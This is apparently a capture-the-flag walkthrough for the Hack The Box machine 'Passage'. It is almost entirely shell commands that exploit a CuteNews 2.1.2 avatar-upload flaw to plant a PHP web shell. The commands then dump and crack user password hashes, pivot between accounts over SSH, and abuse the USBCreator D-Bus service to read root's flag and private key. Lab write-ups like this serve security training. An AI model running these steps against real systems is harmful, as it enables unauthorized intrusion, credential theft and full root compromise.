Passage

Identify open services and banners.

$ nmap -Pn -p22,80 -sV --script=http-title,http-server-header $TARGET
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http

Register the required virtual hostname for all subsequent requests.

$ echo "$TARGET passage.htb" | sudo tee -a /etc/hosts

The page prints the product and its version; the headers alone do not.

$ curl -sS -H 'Host: passage.htb' http://$TARGET/CuteNews/ | grep -iEo 'cutenews[^<]{0,20}|version[^<]{0,20}'

The public proof of concept for CuteNews 2.1.2: it registers an account, uploads an avatar, and calls what it wrote.

$ searchsploit -m 48800

It self-registers, posts a GIF-headed PHP file as the avatar — the check reads the magic bytes and not the extension — and prints the path it can be called at.

$ python3 48800.py http://passage.htb/CuteNews

Uid=33(www-data). Replace <user> with the account the exploit registered.

$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=id' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"

The store, as served. Each line is one account, base64-encoded.

$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /var/www/html/CuteNews/cdata/users/lines' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php" > lines.b64

Decode first, then take the hashes. Grepping the encoded file finds nothing, because the hex is not hex until it is decoded.

$ while read -r line; do printf '%s' "$line" | base64 -d; echo; done < lines.b64 | tee users.txt | grep -oE '[a-f0-9]{64}' | sort -u > hashes.txt

Mode 1400 is raw SHA-256. Unsalted, so rockyou answers in seconds.

$ hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --force

Which recovered plaintext belongs to which account.

$ grep -o 'paul[^"]*' users.txt | head -3 && hashcat -m 1400 --show hashes.txt

Drives su through the web shell with a pty wrapper. Returns uid=1000(paul) and <user.txt>.

$ curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=(sleep 1; printf '$PASSWORD\n') | script -q /dev/null -c \"su - paul -c 'id; cat /home/paul/user.txt'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"

Through the web shell. The key authorised for nadav is paul's, which is the whole finding.

$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /home/nadav/.ssh/authorized_keys' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"

One request, three nested shells: the web shell runs script to give su a terminal, su becomes paul, and paul's ssh reaches the loopback — which the external filter on 22 does not touch.

$ curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=printf '%s\\n' '$PASSWORD' | script -q /dev/null -c \"su - paul -c 'ssh -o StrictHostKeyChecking=no -i /home/paul/.ssh/id_rsa nadav@127.0.0.1 id'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"

Run from paul's shell on the target, as the step before. Everything below is typed in the session it opens.

$ ssh -o StrictHostKeyChecking=no -i /home/paul/.ssh/id_rsa nadav@127.0.0.1

Which system-bus actions a sudo-group member may call, and with what authentication.

$ id && grep -rl 'unix-group:sudo' /usr/share/polkit-1/actions/ /etc/polkit-1/ 2>/dev/null

Source, destination, and a boolean that says overwrite. No prompt, because polkit already said yes.

$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/root.txt true

-> <root.txt>

$ cat /tmp/root.txt

$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rootkey true && cat /tmp/rootkey